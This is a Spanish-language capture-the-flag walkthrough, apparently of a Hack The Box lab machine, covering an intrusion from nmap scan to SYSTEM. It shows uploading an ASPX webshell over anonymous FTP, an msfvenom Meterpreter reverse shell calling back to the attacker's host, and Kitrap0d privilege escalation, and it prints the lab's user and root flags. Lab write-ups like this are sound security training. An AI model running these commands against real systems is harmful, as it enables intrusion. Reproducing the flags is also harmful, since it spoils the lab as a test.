Fase 1: Reconocimiento (Escaneo de Puertos)
El primer paso es escanear los puertos y servicios abiertos de la máquina objetivo (IP del Lab: 10.129.27.35) para identificar posibles vías de intrusión.
Escaneo Completo de Nmap
Ejecutamos un escaneo de puertos TCP completo (-p-), detectando las versiones de los servicios (-sV) y ejecutando scripts de reconocimiento básico (-A), con velocidad agresiva (-T5):
sudo nmap -sV -T5 -A -p- 10.129.27.35
Resultados Clave de Nmap
El escaneo revela 2 puertos abiertos principales:
- Puerto 21 (FTP): Servidor
Microsoft ftpd. Admite inicio de sesión anónimo (Anonymous FTP login allowed). Contiene los archivosaspnet_client,iisstart.htmywelcome.png. - Puerto 80 (HTTP): Servidor web
Microsoft IIS httpd 7.5.
Fase 2: Enumeración del FTP y del Servidor Web (Puerto 21 y 80)
1. Acceso Anónimo al Servidor FTP
Dado que el inicio de sesión anónimo está habilitado, nos conectamos al servidor FTP de la máquina víctima utilizando la IP del Lab (10.129.27.35) y las credenciales predeterminadas:
ftp 10.129.27.35
- Username:
anonymous - Password: (Presionar Enter)
Una vez conectados, listamos el contenido y descargamos los archivos disponibles para ver qué contienen:
2. Relación entre el Servidor FTP y el Servidor Web IIS
Al inspeccionar los nombres de los archivos descargados (iisstart.htm y welcome.png), intuimos que este directorio de FTP coincide con la carpeta raíz de la aplicación web del servidor IIS.
Para validarlo, accedemos a la IP objetivo por HTTP en el navegador solicitando la imagen welcome.png:
Esto confirma que cualquier archivo que subamos a través del servidor FTP se publicará de manera inmediata en la raíz de la web.
3. Cabeceras del Servidor Web
Inspeccionamos las cabeceras HTTP de respuesta mediante las herramientas de desarrollo del navegador:
Confirmamos que el servidor web ejecuta Microsoft-IIS/7.5 y utiliza tecnología ASP.NET. Esto significa que podemos subir y ejecutar scripts con extensión .asp o .aspx para ejecutar código en la máquina víctima.
Fase 3: Intrusión (Acceso Inicial)
1. Subida y Prueba de Webshell ASPX
En nuestro sistema local de Kali Linux, localizamos una webshell de comandos para ASPX lista para usar en /usr/share/webshells/aspx/cmdasp.aspx. La copiamos localmente y la subimos al servidor FTP de la máquina víctima (IP del Lab: 10.129.27.35):
sudo cp /usr/share/webshells/aspx/cmdasp.aspx .
ftp 10.129.27.35
# Login con anonymous
put cmdasp.aspx
Navegamos a http://10.129.27.35/cmdasp.aspx en el navegador y ejecutamos el comando whoami para probar la ejecución de comandos. La web nos responde indicando que corremos bajo el contexto del usuario de servicio de bajo privilegio iis apppool\web:
2. Generación de Reverse Shell con MSFvenom
Para obtener una terminal interactiva adecuada (Meterpreter), generamos una reverse shell en formato ASPX con msfvenom. Aquí configuramos el parámetro LHOST con la IP de nuestra máquina atacante Kali (10.10.15.148) para que la máquina víctima sepa a dónde devolver la conexión, y definimos el puerto local de escucha LPORT (por ejemplo, 8888):
# LHOST: IP de nuestra máquina Kali (atacante)
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.148 LPORT=8888 -f aspx > devel.aspx
Una vez creado el archivo devel.aspx, nos conectamos de nuevo por FTP y lo subimos al servidor:
3. Recepción de la Conexión Inversa en Metasploit
Iniciamos la consola de Metasploit (msfconsole) en nuestra máquina Kali y configuramos el módulo de escucha multi/handler. Debemos asegurarnos de que el parámetro LHOST coincide con la IP de nuestra máquina atacante Kali (10.10.15.148) y el LPORT con el puerto configurado previamente:
use multi/handler
# LHOST: IP de nuestra máquina Kali (donde escuchamos)
set LHOST 10.10.15.148
set LPORT 8888
set ExitOnSession false
set payload windows/meterpreter/reverse_tcp
exploit -j
Para forzar la ejecución del script cargado en el servidor web, visitamos en el navegador web la ruta correspondiente a nuestro archivo en la IP del Lab (http://10.129.27.35/devel.aspx). Al hacerlo, recibimos la conexión reversa en Metasploit y se establece una sesión interactiva de Meterpreter:
Fase 4: Escalada de Privilegios
1. Enumeración Local de Exploits
Con la sesión inicial abierta, utilizaremos el módulo de enumeración posterior de Metasploit local_exploit_suggester para escanear el sistema objetivo en busca de vulnerabilidades locales conocidas y parches de seguridad ausentes:
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
El script analiza el sistema operativo (un entorno Windows 7 de 32 bits desactualizado) y devuelve una lista detallada de exploits locales candidatos:
¿Por qué seleccionamos MS10-015 (Kitrap0d)?
Al analizar los resultados arrojados por el sugeridor de exploits, debemos elegir con criterio técnico el exploit a ejecutar:
- Exclusión de UAC Bypass: Módulos como
bypassuac_eventvwro similares están diseñados para evadir el Control de Cuentas de Usuario (UAC) en cuentas que ya pertenecen al grupo de administradores locales pero corren con un token restringido. Dado que nuestra sesión actual corre bajo la cuenta de servicio web de bajo privilegioiis apppool\web(que no es un usuario administrador limitado), cualquier intento de bypass de UAC fallará. - Exclusión de exploits inestables: Necesitamos un exploit que aproveche un fallo a nivel de kernel o en la gestión de servicios del sistema para elevar los privilegios de una cuenta de servicio a SYSTEM.
- Estabilidad y Compatibilidad: MS10-015 (Kitrap0d) es una de las vulnerabilidades locales de kernel de Windows más conocidas y extremadamente estables para arquitecturas de 32 bits (x86), como la que tiene esta máquina. A diferencia de otros exploits que podrían corromper la memoria del sistema operativo y provocar una pantalla azul (BSOD) tirando el servidor, Kitrap0d es sumamente seguro y efectivo.
2. Explotación de MS10-015 (Kitrap0d)
Una vez elegido el exploit, configuramos el módulo indicando el identificador de nuestra sesión Meterpreter activa (SESSION 1) y la IP de nuestra máquina atacante Kali (LHOST=10.10.15.148) para recibir la conexión reversa elevada:
use exploit/windows/local/ms10_015_kitrap0d
set SESSION 1
# LHOST: IP de nuestra máquina Kali (atacante)
set LHOST 10.10.15.148
run
El exploit inyecta la DLL maliciosa en el sistema y ejecuta de manera exitosa una nueva sesión de Meterpreter. Ejecutamos getuid para comprobar nuestra identidad, confirmando que nos hemos convertido en NT AUTHORITY\SYSTEM (máximos privilegios en Windows):
3. Lectura de Flags
Flag de Usuario (user.txt)
Nos desplazamos al directorio personal del usuario local babis y leemos la flag correspondiente:
cd c:\users\babis\Desktop
cat user.txt
- Flag de Usuario:
c0a4e1fc48874dbc553094c18aeacf1f
Flag de Root (root.txt)
Nos desplazamos al directorio del Administrador del sistema para leer la flag final de control completo:
cd c:\users\Administrator\Desktop
cat root.txt
- Flag de Root:
eee3063d2edc045d2c4c8880dc4194c1
Fuentes y Referencias
- MS10-015 (Kitrap0D) Exploit Reference: Boletín oficial de seguridad de Microsoft sobre la vulnerabilidad del sistema de ejecución de subprocesos de kernel de 32 bits de Windows.
- Metasploit Framework: Plataforma de pruebas de penetración empleada para la enumeración local de vulnerabilidades y explotación de privilegios.